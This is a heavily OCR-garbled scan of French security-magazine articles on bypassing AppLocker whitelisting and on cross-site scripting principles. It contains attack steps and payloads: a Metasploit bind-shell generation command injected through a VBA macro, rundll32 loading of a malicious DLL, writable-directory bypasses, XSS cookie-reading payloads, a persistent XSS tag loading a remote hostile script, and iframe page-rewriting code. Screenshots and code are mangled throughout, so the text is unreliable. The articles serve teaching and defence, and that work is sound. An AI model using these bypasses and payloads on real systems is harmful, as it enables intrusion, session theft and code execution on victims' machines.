cette copie est refusée car le répertoire correspondant
ne fait pas partie de la liste des répertoires autorisés :

Pour les binaires non signés, Windows
propose de créer des regles « Hachage
de fichier » ou « Chemin d'accés ». Cette
derniére option est a préférer en production pour éviter
de mettre a jour les regles a chaque changement de
version, a condition de bien vérifier que les répertoires
d’applications tierces ne sont pas accessibles en écriture
pour les non-administrateurs (auquel cas il sera possible
de contourner AppLocker en y déposant un binaire
arbitraire, comme on va le montrer par la suite).
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Apres analyse, Windows liste les régles qui vont étre

créées automatiquement :

Afficher les regles qui sercnt créees autematiquament

a Lee ragles suivantes seront crdes pour autoriser lae fichiers S dosaier sélactionng

Nom de fa g

Aecharcher dans tas réglas..,

Tyos darégls
Editawr
Editer
Ecitaur
- Editeor
Editeur

Exemple de jeu de régles créé automatiquement

Siun programme ne doit pas étre ajouté, il est possible
de décocher le(s) binaire(s) et donc la génération de la
regle correspondante dans « Examiner les fichiers qui

ont été analysés » :

lodifier les fichisrt

& Déeachaz unnom cefmerxg-etjn&c.ﬂe'!a sodation o eve kgl pour e figac,
Editewr
O=MICROSCFT CQ,

Nom du fichisr
V| PROCERS EXE

Hom gu produt

FROCESS EXPLOR

-

ROBCFT CO.
S0FT CO:
ROBOFT GO
ROSOFTCO
ROSOFT CO
ROSSRT OO
SOFTCC,
SCOFTEC
ROSOFT OO

< [ e e e o e ) T R o o [ () [

Chemm du dossier

Rachercher Jans (as fizkiars,.,

iR

Configuration fine des binaires

NOTE

Les régles « Rejeter » ont priorité sur les regles
« Autoriser ».

Les régles de type « Editeur » se basent sur la
fonctionnalité Authenticode [5] de Microsoft, qui permet
d’associer une signature cryptographique aux fichiers PE

afin de pouvoir vérifier leur intégrité

et l'authenticité de

leur éditeur. Ces regles peuvent se baser sur 1’éditeur,
le produit, le nom du fichier (celui spécifié dans le corps
du fichier lui-méme, pas son nom au sens du systéme

de fichiers) ou la version. Dans ce

dernier cas, il est

possible de préciser une version minimale ou maximale

si nécessaire :
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Fichier de réference:

i Windows System32 cmd. exe Parcourir.,

Tout editeur
Editeur Q=MICROEOFT CORPORATION, L=REDMOND, &=
Mom du produit | MICROSOFT E WINDCWSE CPERATING SYSTEM
£ Mom du fichier: CRADLEXE

Yersion du fichier:
Hiliger des veleurs personnalisées

Etendue de la rdgle:

S'appligue & tous les fichiers signés par | diteur spécifié assccies & ce nom de produit et 3 ce

Critéres de configuration d‘une regle

Siun fichier possede une signature invalide (condensé
SHAI incorrect, certificat périmé), la régle correspondante
ne sera pas validée et 1’exécution du binaire sera bloquée.

Au final, AppLocker permet donc de mettre en place
une politique du type :

- pour tous, acces autorisé a Internet Explorer ;

- pour tous, acces autorisé a Sun Java version 6
minimum ;

- pour le groupe DevWeb, accés autorisé a toute
application signée par Mozilla ;

- pour le groupe Compta, acces aux applications du
répertoire C:\Comptal (non signées) ;

- toute autre application est bloquée.

Pour tester la cohérence des regles avant déploiement
et ainsi ne pas risquer de tout bloguer, un mode « audit »
est disponible, dans lequel les applications ne sont pas
bloquées. AppLockerjournalise simplement des événements
dans Journaux des applications et services ->
Microsoft -> Windows -> Applocker. Les principaux
événements sont les suivants (la liste compléte peut étre
trouvée dans la documentation Microsoft [3]) :

- 8002 : Une régle AppLocker a autorisé I'exécution
de ce fichier.

- 8003 : Une régle AppLocker aurait bloqué I'exécution
de ce fichier si AppLocker avait été réellement
appliqué (mode audit uniquement).

- 8004 : Une regle AppLocker a bloqué I'exécution
de ce fichier.

Pour les exécutables, la mise en place des regles
suivantes permet d’'avoir un systéme de liste blanche a
la fois opérationnel au quotidien et bloquant pour les
applications non souhaitées :

- Régle 1 : autoriser les administrateurs a exécuter
tout binaire. '

- Regle 2 : autoriser tout le monde & exécuter les
binaires signés par Microsoft pour le produit




MICROSOFT WINDOWS OPERATING SYSTEM.
Y ajouter des exceptions pour les binaires « dangereux »
(cmd . exe, ftp.exe, etc., ainsi que les outils permettant
de charger du code arbitraire comme rund1132.exe,
regsvr32.exe, etc.). Une autre solution consiste
a utiliser les reégles générées, mais en décochant
I'option permettant de les regrouper, afin d’autoriser
individuellement chaque utilitaire.

- Regle 3 : autoriser les applications métiers via la
génération de régles automatiques.

- Supprimer toute autre regle.

3 Limites et contournements

Lors de la mise en place des régles AppLocker, les
remarques suivantes doivent étre prise en compte :

- Un des principaux problémes d’AppLocker réside en
la nécessité d'assurer le maintien des régles afin de
suivre I'évolution des applications et versions utilisées.
Pour simplifier les procédures, les administrateurs
auront peut-étre tendance a mettre en place des
regles plus permissives que nécessaire,

Pour l'application stricte de la liste blanche, il faut
bien penser a supprimer la régle par défaut autorisant
toutes les applications depuis C:\Program Files,
afin que seules celles explicitement autorisées lors
de la génération automatique des régles puissent
étre exécutées.

Dans le méme genre d’idées, la régle par défaut
concernant C: \WINDOWS autorise également tous les
outils Microsoft a étre exécutés, expliquant pourquoi
il faut la supprimer et la remplacer par une regle de
type « Editeur » avec des exceptions pour certains
binaires.

Larégle par défaut concernant C: \WINDOWS autorise de
fait]’exécution de binaires depuis C: \WINDOWS\ Temp.
Or, ce répertoire dispose de permissions spéciales
autorisant les membres du groupe Utilisateurs a
v créer des fichiers avec un contenu arbitraire et a
les exécuter :

Autorisstion: pour Temp @
Toet

| Créaton de cossiersiout de dorides 7

ACL du repertoire C:|Windows|Temp

Si cette régle par défaut a été conservée, AppLocker
peut étre contourné de fagon triviale. Ceci est documenté

T
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par Microsoft [4] ; en revanche, d'autres répertoires
peuvent étre exploités de la méme maniére sans que
cela ne soit documenté, comme C:\WINDOWS\Tasks ou
C:\WINDOWS\system32\spool\drivers\color. Bien qu’il
soil possible d’ajouter des exceptions de type « Chemin
d’acces » pour bloquer explicitement ces répertoires,
la meilleure contre-mesure consiste & supprimer cette
regle et a ne se baser que sur des régles éditeur, comme
préconisé a la fin de la section précédente.

- Il ne faut pas oublier de configurer également les
regles pour les installeurs MSI et les scripts. Pour
MS]I, les regles par défaut sont relativement sécurisées
car seuls les fichiers signés ou se trouvant dans
C:\WINDOWS\Installer (non accessible en écriture
pour les utilisateurs) sont autorisés.

En revanche, les regles par défaut pour les scripts
autorisent I'exécution depuis C: \WINDOWS, ce qui peut
étre contourné comme vu précédemment.

Enfin, par défaut, les régles sur les DLL ne sont pas
appliquées, permettant ainsi d'exécuter du code
arbitraire par un simple rundl132 mal.dll,D11Main
si rundl132.exe est autorisé (méme chose avec
regsvr32.exe). Au passage, les regles par défaut sont
identiques a celles concernant les EXE et peuvent
donc étre contournées comme montré précédemment.
Les différents avertissements affichés par Windows
lors de la configuration des régles de DLL devraient
de toute facon dissuader plus d’'un administrateur
de les mettre en place :)

Nous allons par exemple montrer le risque lié aux
régles basées sur un chemin. Un utilisateur non-
administrateur dispose d'un binaire malveillant sur
une cle USB. Ladministrateur a conservé les régles
par défaut, mais a pensé a ajouter une exception pour
C: \WINDOWS\Temp suivant les conseils de Microsoft. Le
scenario d’exploitation est le suivant :

1. Lutilisateur exécute le binaire mal.exe depuis sa
clé USB, AppLocker refuse.

2. Lutilisateur copie ce binaire dans C: \WINDOWS\ Temp
connaissant la faiblesse des ACL de ce répertoire,
mais AppLocker refuse également en raison de
l'exception ajoutée explicitement parl'administrateur.

3. Lutilisateur copie alors ce binaire dans C: \WINDOWS\
Tasks, |'exécution est alors autorisée,

rvite de commanges T |

Contournement des regles AppLocker par défaut
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3.1 ActiveX

Un autre contournement classique consiste & utiliser
les ActiveX afin d’avoir acces a des fonctions de Windows
sans passer par le binaire original. Supposons, par
exemple, un systéme sur lequel seul Microsoft Word
est autorisé, mais ol un utilisateur veut visionner une
vidéo. Le scénario est le suivant :

1. Lutilisateur tente d’exécuter le binaire Windows
Media Player, cela lui est refusé par AppLocker.

2. Il ouvre alors Word et instancie le contrdle Windows
Media Player (via la boite A outils Contrdles) en
spécifiant 'URL de la vidéo dans les propriétés de
I'objet ; la lecture fonctionne alors.

] Boionent? | BieruieR Word

1 fchie  fiifien  Mikege  Jrsemon Fomwy ot Tegless Femdie D
Pl 4080 TG T e L 1O e - N LI
£y 1o 12 arz:E=

Pragram Filus Hiadesis Wadie By s mplnye s

0 Lo regramma mit Slesod e dne stotie de groupe Pour g S inlermatisng, terteches
cire sfmristateu ssteme.

i =

i
I ko —

Contournement d’AppLocker via un contréle
ActiveX (Windows Media Player)

La méme technique est applicable au client Terminal
Server. Sile binaire mstsc.exe est bloqué par AppLocker
(1), I'instanciation via la boite a outils Contréles de
Microsoft RDP Client (non installé par défaut) permet
tout de méme d’ouvrir une session RDP vers n’'importe
quel systeme distant (2) :

B] Tounnd - RiivseR Hent
U penint fdtion ifichege Jriesien Formst Dotz Tableey Febtre 1
Ll Aot Ausl¥

Cihsdperimstemil matsc ave.

6 e Elegud 210 una Aatgle se proupe. Pou pha dinfaimatipns serbattes
Tebg faymeme
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La sécurisation consisterait dans ce cas a désinscrire
le composant via regsvr32 /u ou a configurer finement
les régles sur les DLL dans AppLocker.

3.2 Visual Basic pour Applications

Dans les applications de la suite Microsoft Office (quisera
généralement autorisée sur la quasi-totalité des postes de
travail), une autre technigue de contournement consiste a
utiliser des macros VBA (Visual Basic pour Applications).
Si aucun binaire autorisé sur le systéme ne permet de
télécharger un fichier depuis un site distant, un attaquant
peut, par exemple, créer une macro Word afin d’instancier
un ohjet de type Microsoft.XMLHTTP et déposer le fichier
avec la méthode savetofile dans un répertoire bien choisi.
La méthode Exec d'un objet de type WScript.Shell permet
d'exécuter le binaire ainsi récupéré (cette exécution sera
bien str limitée par les régles ApplLocker). Par exemple,
un attaquant peut ainsi télécharger un code d’exploitation
pourune faille locale permettant d’augmenter ses priviléges,
comme celle ayant récemment affecté NTVDM [6], et exécuter
des commandes avec les droits d'administrateur ou SYSTEM.
Tout ceci suppose évidemment qu’un acces Internet, ou &
défaut a une machine contrélée parl'attaquant, est possible
(typiquement celle du pentester :))

Dans Office, une autre technique consiste a créer
en VBA un thread dans le processus courant, puis a
exécuter ce thread. On commence pour cela par générer
un shellcode, par exemple, avec 1'outil msfpayload de
Metasploit (ci-dessous, un bind shell sur le port 4444) :

$ ./msfpayload windows/shell_bind_tcp R > shellcode.raw

On utilise ensuite 1'outil shellcode2vbscript [7]
pour convertir ce shellcode en une macro VBA qui va
s'injecter dans le processus courant :

§ ./stellcodedvbscript.py shellcode.raw shellcode. vba

Lexécution de la macro provoque bien l'ouverture du
port 4444/tcp en écoute dans le processus Word :

| locslAddes  Femoehddms  Swe

9 Wlicizseft Vit Bavoc - Documentl - [ThisDecurmant iCodel]
iefh Eichier Editicn Affichage |sserticn  Foomet Dibogage  Esboutioe  Cuths  Complements  Fegétre
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Contournement d’AppLocker via un contréle
ActiveX (client RDP)
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Contournement d’AppLgcker par création d'un thread
dans le processus courant via une macro VBScript



NOTE

Il existe bien I'option de sortie V de msfpyload, mais celle-ci

»en un code VBA qui va créerun nouveau processus, ce
qui ne fonctionnera justement pas dans le cas d’AppLocker.

Les différents niveaux de protection surles macros, en particulier
le blocage de l’exécution des macros non signées, n’apportent
rien ici car l'attaquant rédige et exécute lui-méme son code dans
I"éditeur de macros. Afin d’éviter qu’AppLocker ne puisse étre
contourné de la sorte, plusieurs solutions sont envisageahles :

- Ne pas installerle composant Visual Basic pour Applications
dans les composants partagés d’Office ou désactiver
VBA si cette fonctionnalité n'est pas utilisée (souvent
inapplicable en entreprise).

- Positionner des ACL restrictives surl'éditeur de macros d'Office,
installé par défaut dans C:\Program Files\Fichiers communs\
Microsoft Shared\VBA\VBAG\VBEGEXT.OLB (version
2003). La création de macros est ainsi rendue impossible
et 'attaque présentée ci-dessus inopérante.

Conclusion

AppLocker est une technologie de blocage de l'exécution
de binaires qui offre certains avantages par rapport aux
classiques stratégies de restriction logicielle (SRP) comme
le fait de pouvoir générer automatiquement les régles depuis
un systéme « type » avant de les déployer par GPO. Si elle
est convenablement configurée, cette technologie permet
d’augmenter sensiblement le niveau de sécurité d'un systéme
(poste de travail ou serveur) ; elle est en effet efficace contre
les virus qui se contentent de dropper un exécutable et
d’ajouter une clé Run, les end-users, les documents PDF, DOC
ou autres exploitant une vulnérabilité afin de lancer un nouveau
processus malveillant et a toutes les chances de décourager
bon nombre d’attaquants peu expérimentés.

Cependant, elle ne bloquera pas un pentester déterminé siles régles
par défautont été conservees ou si la sécurité n’est pas configurée en
mode « paranciaque » (avec une liste blanche des DLL autorisées). B
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éflechissons quelques minutes al’évolution
Rdes fameux systemes d’'information, Ils

sont entoures de moult protections, dont
le marketing explique bien souvent le prix de
la licence (notez que j'ai écrit « explique » et
non '« justifie »). Du coup, quand on cible une
entité de l'exteérieur;, les points d’acceés sont
geneéralement connus et limités : un webmail,
un VPN, un serveur de messagerie, un pseudo-
serveur web,

Bref, quand il s'agit d'une attaque frontale et
directe, il ne reste plus grand-chose. Etrangement;
si on regarde les failles publiées ces derniéres
années, on constate qu’il n’y en a gueére plus sur
les serveurs (enfin, je considere les principaux),
Attention au piege ici, ce n'est pas parce les
publications de telles failles sont inexistantes
que ces failles - et les exploits qui vont avec
- n'existent plus, eux. Quand on regarde la
« professionnalisation » du marche des exploits
et qu’on récupere quelques informations ici et
la, on constate gque ce marché est florissant.

Tout cela pour dire qu'au fAnal, la surface
d’attaque est aujourd’hui principalement centrée
sur les logiciels clients et les traitements de
documents (MS Office et PDF en téte). Coté
client, le navigateur remporte la palme, Et ce
dossier porte sur cette surface.

Quand on parle webh, la premiere attaque qui
surgit est le XSS, ou Cross Site Scripting. Neuf
fois sur dix, elle est réduite a faire afficher un
pop-up en Javascript. Et si cetie attague etait
plus subtile et puissante ? Les trois premiers
articles du dossier portent sur ce type d’attaque.

Dans le premier article, nous détaillons les
mécanismes de fonctionnement de cette attaque.
Ainsi, nous verrons que l'affichage d"un pop-up
est simplement le moyen pour un pentester
de valider la présence de la faille. Toutefois,
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PREAMBULE

LE WEB, ENCORE UN
NOUVEAU MAILLON
FAIBLE ?

les mécanismes sous-jacents permettent de
comprendre pourquoi cette attaque est un des
meilleurs vecteurs d’infection par des codes
malicieux actuellement.

Souvent, quand on parle d’exploitation de failles,
on pense d’abord aux failles type manipulation
de mémoire (overflow et autres formats hugs),
et le XSS qui passe pour presque neégligeable.
Le deuxiéme article compare les vulnérabilites
et les techniques d’exploitation de ces deux
catégories de failles.

Le troisieme article porte sur l'aspect
opérationnel : pourquoi les XSS marchent si
bien (autre maniere de dire pourquoi la latte
contre les XSS marche si mal) ? Pour cela, nous
partons de trois idées fortes autour du XSS ;

1. Le XSS est somme toute assez inoffensif.
2. Le XSS est facile a repérer et a neutraliser.

3. 1l suffit de sécuriser ses développements
pour éviter le XSS.

Nous donnons de nombreux exemples et
arguments en opposition a ces préjugés.

Le demier article du dossier renverse le probleme.
Depuis quelques anneées, force est de constater
que le coeur névralgigue de 'ordinateur d'une
personne est son navigateur. Il contient ses mots
de passe, permet d’accéeder au(x) webmail(s), a
ses donnees bancaires, ... Les attaguants s’en
sont bien rendu compte.

Les développeurs de navigateurs 1'ont également
constaté. Ils proposent ainsi des approches
différentes de la sécurité. Le dernier article de
ce dossier présente les mesures fournies par les
principaux navigateurs du marché en termes de
securité. W
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XSS : LE DIABLE SE CACHE DANS LES DETAILS
1ERE PARTIE

XSS : PRINCIPES ET
TYPOLOGIE
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mots-clés : XSS / CROSS SITE SCRIPTING / JAVASCRIPT / MALWARE / BOTNET

e XSS (pour Cross Site Scripting) est a la fois connu et mal connu : connu
parce qu'il est aussi vieux que le Web lui-méme, ce qui fait qu'aucune personne
s’intéressant méme de loin a la sécurité informatique n’ignore ses grands principes,
mal connu parce que comme tout ennemi familier que I'on a connu petit et chétif, il a
grandi et s’est développé dans 'ombre de son grand frére, le Web, en n‘attirant que peu
les regards et en conservant aux yeux de beaucoup d’experts en sécurité Iimage d'un
parasite mineur, juste capable de provoquer l'affichage de messages davertissement
inoffensifs ou de lancer des attaques reposant sur un minimum d’‘ingénierie sociale.

1 Introduction

Lobjectif de cet article est précisément de montrer
I'étendue de I'ombre que la croissance phénoménale
du Web a projeté ces derniéres années, et au sein de
laquelle le XSS a pu prospérer dans une indifférence
surprenante : le XSS figurait en 2007 a la premiére
place du « top ten » de 'OWASP des vulnérabilités web
les plus critiques!. Le rapport publié en novembre 2009
par WhiteHat Security, la société fondée par Jeremiah
Grossman, confirme ce classement et évoque le chiffre
inquiétant de 66% de sites affectés par au moins une
vulnérabilité XSS2. Il ne serait donc pas étonnant que le
XSS soit en passe de devenir une composante importante
de scénarios d'infection massive exploitant des vecteurs
d’attaques combinées, visant entre autres a constituer
des réseaux de machines zombies. Comment en est-on
arrivé la ? Pour l'expliquer, il est important de revenir
a la base du XSS, aux principes mé&mes qui le rendent
possible. Cela nous permettra de mieux comprendre les
différents types de XSS et les attaques qu‘ils autorisent.
Dans la deuxiéme partie de cet article, nous verrons que
le XSS, mutatis mutandis, n’est pas si éloigné que cela
de techniques d’attaques applicatives plus classiques par
débordement de tampon, ce qui explique et permet de mieux
comprendre certaines de ses propriétés fondamentales.
Enfin, dans un troisiéme article, nous nous interrogeons
sur les raisons susceptibles d’expliquer le relatif échec de
la lutte anti-XSS aujourdhui et illustrons notre propos en

essayant d’évaluer le risque réel de différents scénarios
d’attaques, tirant notamment partie des trois erreurs les
plus fréquemment commises a propos du XSS,

5 Définition et principe

de base

Le XSS, comme le suggere le mot « site » de Cross
Site Scripting, consiste a injecter et faire interpréter ou
mieux faire exécuter un code imprévu a un navigateur
web [3][8]. De cette définition, on déduit deux propriétés
essentielles du XSS :

- C'est une technique d’attaque coété client, ce qui
ne veut pas dire pour autant que le XSS ne modifie
aucune donnée sur les serveurs, mais qu'il se sert
du navigateur de ses victimes comme élément
d’exécution de code.

- I1 ne se limite pas & unlangage : tout langage reconnu
par le navigateur oul'un de ses greffons est susceptible
d’étre utilisé. En pratique, le XSS exploite surtout
les descripteurs HTML et le JavaScript.

Méme si nous utilisons le terme générique de
« navigateur » dans la suite de cetarticle, il est également
important de garder a 1'esprit que tout logiciel susceptible
d'interpréter au moins du code HTML peut étre exploilé
pour lancer une attaque XSS.

Misc N"48 - Mai/Juin 2010
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Exemple : Imaginons qu'un site web se serve d'une
variable t passée en URL pour afficher le titre d"une page :

page.jsp?t=Titre_de 1a_page -

Si l'on remplace le contenu de t par du code
interprétable et que cdté serveur, on ne contrdle pas
le contenu de t, on peut faire exécuter une action non
prévue au navigateur, comme afficher le contenu des
cookies accessibles depuis I'URL courante :

page. jsplt=<script>alert(document,cookie)</script>

Insistons bien sur ce point : ce qui caractérise
le XSS est l'injection d'un élément interprétable
ou exécutable par le navigateur. Cela signifie que
tout élément d’'une requéte HTTP ou HTTPS offre
théoriquement une surface d’attaque. Ainsi, méme si
le plus souvent, c’est une entrée utilisateur passée
en URL ou dans un champ de formulaire qui ameéne
le code injecté, le XSS n’est pas impossible dans le
contexte de pages web HTML statiques : la manipulation
des différents éléments d’une requéte HTTP (Accept,
Accept-Language, Referer, Cookie, etc.) permet parfois
d’injecter du code non prévu, notamment a travers
le déclenchement d’erreurs.

Exemple : Imaginons le cas ou un serveur web est
programmeé pour traiterla valeur de la variable REFERER
transmise dans une requéte HTTP pour renvoyer, en
cas de code d’erreur 404, vers la derniere page visitée ;
imaginons que le serveur, sans controle particulier de la
valeur du _REFERER_, renvoie une 404 du type :

<htmi><head><title>4fid</tit]e></head><body>Page introuvable...<br>
<a href="_REFERER_">Retour</a></body></htnl>

et imaginons qu'on lui adresse la requéte suivante :

GET /page_inexistante.html HTTP/1.§

Host: CIBLE

Accept: */*

Accept-Language: en-us

User-Agent: Mozilla/5.@ (Windows; U; Windows NT 5.1; en-US;
rv:1.8.1.18) Gecko/20881629 Firefox/2.0.0.18

Referer: "></a><script>alert('coucou’ )</script>

Nous déclencherons bien l'affichage du message
« coucou ». Les attaques de ce type sont toutefois peu
exploitables la plupart du temps, dans la mesure ot il n’est
pas toujours facile de forcer la valeur du refererou d'un
autre élément de l'en-téte HTTP sur le navigateur d’'une
victime. Elle devient en revanche tout a fait intéressante
dans le cas d'attaques massives distribuées telles que
nous les verrons par la suite, ou dans le cas d’applications
enregistrant le contenu de certains champs d’en-téte
comme le referer en base de données.

Maintenant que nous connaissons le principe de base
de l'injection XSS, examinons les différentes situations
qui peuvent la provoquer [4].
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Les XSS volatils

3 (reflective X5% en
anglais)

Ce sont les plus connues et les plus courantes ; ce
type d’injection est provoquée par une requéte HTTP
GET ou POST spécialement construite de sorte qu'un des
parametres passés dans la requéte contient un code qui
sera interprété par le navigateur ; les attaques reposant
sur un XSS volatil exploitent donc le plus souvent des
liens malveillants pointant vers un site vulnérable :

Exemple : Si 'on reprend 'exemple présenté plus
haut, un attaquant, pour déclencher!'exécution de code
JavaScript dans le navigateur de sa victime, devrait
I'amener a cliquer sur un lien pointant vers :

attp://site_vulnerable/page. jspit=<script>code_hostile{)</script>

Evidemment, comme ce type d’attaque nécessite un
minimum d’ingénierie sociale, les liens sont généralement
légérement obfusqués, de maniere a masquer la présence
de code hostile et éventuellement a déjouer les filtres
de certains pare-feu applicatifs ; ainsi le lien précédent
pourrait étre remplacé par :

nttpi//site_vulnerable/page. Jsp?h74R3dR3chI3R63RTZROIRTORT AR3eh6306T
SB4%65 5 TR6BRATETIRTAR6906ch65R2842083ch2FRT3R63RT24695T04T403e

Notons que c’est une vulnérabilité de ce type quia été
exploitée récemment sur le site d’Apple pour y afficher
une publicité vantant les qualités du dernier systéme
d’exploitation de Microsoft®.

Les XSS persistants

4 (permanent XSS en
anglais)

Linjection est ici réalisée non pas a travers un élément
présent dans la requéte HTTPE mais par le biais d'un code
stocké dans une base de données ou un fichier, et qui se
trouve intégre dans le rendu HTML. Dans la mesure ol
rien dans la requéte HTTP ne permet de prevoir 'injection,
les attaques reposant sur une XSS persistante sont hien
plus redoutables que les précédentes.

Exemple : Considérons un réseau social qui demande
a un utilisateur de saisir des informations personnelles
telles que nom, prénom et date de naissance afin de
constituer un profil destiné a étre affiché par d’autres
utilisateurs ; si l'application ne filire pas correctement
certains caractéres et qu'un utilisateur, au lieu de son
nom, peut enregistrer et faire afficher dans sa page de
profil une information du type :

mon_nom<script sre=http://serveur_distant/script_hostile.js >



1l est possible que d’autres utilisateurs, par le simple
fait de visiter ce profil, déclenchent I'exécution du script
situé a l'adresse hitp:/iserveur_distant/script_hostile.js.

C'est une vulnérabilité de ce type qui a notamment
été exploitée par les vainqueurs du challenge lancé par
la société StrongWebmail pour éprouver la sécurité de
son webmail® ; ce type de vulnérabilité a également été
utilisée pendant la derniére campagne présidentielle
ameéricaine, pour rediriger les visiteurs du site de Barack
Obama vers le site d'Hilary Clinton®.

Combinaisons et

variantes

Si I'on considére l'ensemble des attaques XSS, il
est toujours possible de les rattacher a I'une des deux
injections précedentes, mais il existe quelques variantes
qu'il est intéressant de signaler ici :

a) Lalittérature relative au XSS mentionne souvent un
troisiéme type dit DOM-based en anglais, décrivant
une injection locale, c'est-a-dire réalisée a travers
la manipulation locale du DOMS® ; dans ce cas,
c’est une vulnérabilité affectant une application
JavaScript, coté client’, qui est exploitée.

Exemple : Supposons que la page accueil.html
contienne un JavaScript récupérant le contenu
d’une variable nom passée en URL et l'affiche si
elle n'est pas vide :

<script>

var a=document.URL,index0f("nom=");

iflal=-1){

document . write(docunent URL. substring(a+4,document.URL. Tength));

}
</script>

Une requéte poinlanl sur cette page avec le
parameétre « ?#nom=<script>fonction_hostile()</
script> » serait en principe susceptible de déclencher
une attaque. Ce qui est intéressant ici, par rapport
aux cas précedents, c’est que 1'on peut théoriquement
injecter du code en utilisant une référence a une ancre
interne au document (caractére #) ; rappelons que
tout ce qui suit le caractére # dans une URL n’est pas
transmis au serveur web et est seulement interprété
localement par le navigateur. Naturellement, cet
exemple ne devrait pas fonctionner sur un navigateur
récent, mais de nombreuses applications exploitant
des requétes XMLHttpRequest® sont vulnérables a
des injections locales.

b) Comme tout élément exploité dans une application
web et susceptible d’étre utilisé dans le rendu HTML,
un cookie peut étre vulnérable a une injection XSS ;
ce type d'injection est méme trés intéressante pour
un attaquant, puisqu'il permet généralement de
mener des attaques discrétes, comparables a celles
qui exploitent une XSS persistante.
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c) Les failles de redirection constituent certainement

une des variantes de XSS volatils les plus communes
et les plus dangereuses, car leurs conséquences
potentielles sont souvent mal comprises des
développeurs.

Exemple : Supposons que la page de logout
suivante permette a une application de rediriger
l'utilisateur vers la page d’accueil d'un portail apres
effacement des cookies de session :

Togout.php Turl=accueil.php

Sila variable url n'est pas correctement filtrée, il
est possible a un attaquant de présenter un lien du
type http:iisite_legitime/logout.php Zuri=http:/isite_malveillant
pour rediriger automatiquement l'utilisateur vers
une ressource de son choix.

d) 11 est aussi important de garder a l'esprit que les

pseudo-protocoles javascript et data (également
appelés javascript URI et data URI) peuvent eux-
aussi étre exploités par un attaquant dans une
redirection et ont accés aux cookies du domaine
courant. Pour illustrer mon propos, voici quelques
détails d’une vulnérabilité découverte en juillet
dernier, affectant le service d’authentification
relais de uservoice.com/Rpx® ; cette vulnérabilité
a naturellement été corrigée depuis'’.

Uservoice est un fournisseur de service de retour
utilisateur (feedback), utilisé par tous les principaux
fournisseurs de services en ligne (Google, Microsoft
Live, Facebook, Yahoo, Twitter, MySpace, etc.) et
qui présente l'intérét de s’appuyer sur leur service
d’authentification.

Le service Uservoice peut étre appelé en passant
par le site uservoice.com, avec une URL du type :
https://login.uservoice.com/web_site_using_uservoice/
start?token_url=callback_URL ou directement depuis
le service web qui ’exploite.

Exemple pour Facebook :
https://uww. facebook. com/Togin. php?v=1.8kapi_key=KEY

Le probleme venait du fait que uservoice.com ne
vérifiait pas correctement la valeur de la variable
token_url passée en parametre, ce qui autorisait
un attagquant a rediriger 'utilisateur vers une URL
de son choix :

https://login.uservoice.com/openid/start?token_url=http://
site_malveillantdopenid_identifier=a

Ce type d'attaque permettait d’exécuter des
requétes GET et POST sur n'importe quel domaine ;
cependant, en raison des limitations imposées par
la Same Origin Policy", il n'était pas possible
d’accéder aux réponses — sauf pour le domaine
login.uservoice.com. Un attaquant pouvait exploiler
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cette vulnérabilité pour
lancer des attaques de
phishing'’, exécuter des
requétes de type Cross
Site Request Forgery'?
ou essayer de profiter
d’autres vulnérabilités
dans le navigateur de
ses victimes ou I'un de
ses greffons (lecteur
flash, pdf, office, etc.).

Connenten Faceboak

Il était aussi possible
de créer des URL dans
le domaine Facebook,

DRESSEERIR st i v rovhor i st o e spaes e A g s s

X8S : LE DIABLE SE CACHE DANS LES DETAILS — 1ERE PARTIE - XSS : PRINCIPES ET TYPOLOGIE

ligne expose au risque de
détournement malveillant
de cette fonctionnalité. Nous
verrons un peu plus loin
pourquoiil n’est pas évident
de mettre en place des contre-
mesures efficaces.

T B A
i

Volatiles ou persistantes,
les vulnérabilités XSS sont
donc susceptibles d’'étre
rencontrées dans des
situations variées [6] [7] et
leur exploitation ne nécessite
pas forcément d’ingénierie

capables de rediriger
automatiquement les
utilisateurs aprés
authentification
vers des ressources
arbitraires. Sous
certaines conditions,
un attaquant pouvait
egalement utiliser une
URL des domaines
google.com ou yahoo.com ;

https://wun.google. comfaccounts/Servicelogin?service=] sob
domain=Login.uservoice.comdcontinue=httpsk3AL2FE2Fuww.qoogle.
comk2FaccountskZFod%2Fud¥3Fst¥3Dclef forgee

https://1ogin.yahoo.com/config/Togin?. src=openidkparametres_
forges

Cette vulnérabilité, qui n’affectait en réalité
qu'un service périphériques de sites de grande
audience comme Google, Yahoo ou Facebook,
mais qui permettait de contourner leur politique
de sécurité, illustre bien les risques liés aux relais
d'authentification et aux mécanismes de propagation
de l'identité.

e) Dans un certain nombre de cas, des attaques XSS

peuvent étre réalisées a travers des requétes inter-
protocoles’ ; nous ne nous étendrons pas sur ce
sujet, qui mériterait a lui seul un développement
qui nous ferait sortir du cadre de cet article.

Last but not least, nous avons vu que les greffons
ou plugins permettaient d’interpréter, au sein du
navigateur, des documents écrits dans un langage
autre que le HTML (PDE SWE etc.). Il est parfois
possible, indépendamment des vulnérabilités de plus
bas niveau pouvant affecter des greffons, d’injecter
du code HTML ou JavaScript non prévu dans
certaines variables mal controlées. Ces injections,
qui permettent souvent un accés aux cookies de
la page courante, sont assimilables & du XSS, et
ce méme si elles n'exploitent pas directemenl
une vulnérabilité de I'application web ; tout script
autorisant les utilisateurs a déposer des fichiers en

Fig. 1 Exemple dattague exploitant la
vulnerabilité de Uservoice/Rpx, consistant
a envoyer aux victimes potentielles un lien
renvoyant a une page presque identique a la
page d'authentification de Facebook et qui utilise
bien hiips sur le domaine www.facebook.com.
Un wtilisateur averti remarguera la mention 6
« uservoice.com », qui suggere que Facebook est
utilise ici en relais d'authentification.

sociale. Nous allons voir
maintenant d’ou le XSS tire
I’essentiel de sa puissance.

Xas et

API DOM

I’API DOM!?!* (pour
Document Object Model) définit la structure des
documents XML et les moyens par lesquels on peut
accéder et manipuler ces documents. Toute injection
XSS offre en fait un acces complet au contenu de la
page téléchargée et interprétée par le navigateur de
l'internaute. Il est ainsi possible de réécrire totalement
cette page grace a I'’API DOM et de détourner son usage :
redirection transparente, vol de session ou de données
d’authentification, émission de requétes a l'insu de
I'internaute, etc.

Sous Firefox, I'injection du script suivant au sein d'une
page légitime contenant un élément d’id « exemple »
permet d’en réécrire le contenu :

function a(){

var x=document.getElementByld('exemple');

i (xt=null){

this.document.body. imnerHTML="<iframe id=iframe_hostile name=iframe_
hostile width=100% height=188% src=htto://serveur_distant/
page_hostile htm ></iframe>";

Jelse{

setTimeout('a()"',400);

1

}
all;

Le script exécute une fonction a() tous les 400
milliemes de seconde, chargée de vérifier l'existence dans
la page d’un élément « exemple », La présence de cet
élément indiquera que la page est chargée ; si I’élément
« exemple » est trouveé, le script remplace le contenu de
la page par une iframe appelant la page distante http://
serveur_distant/page_hostile.htm. De la méme maniére, il est
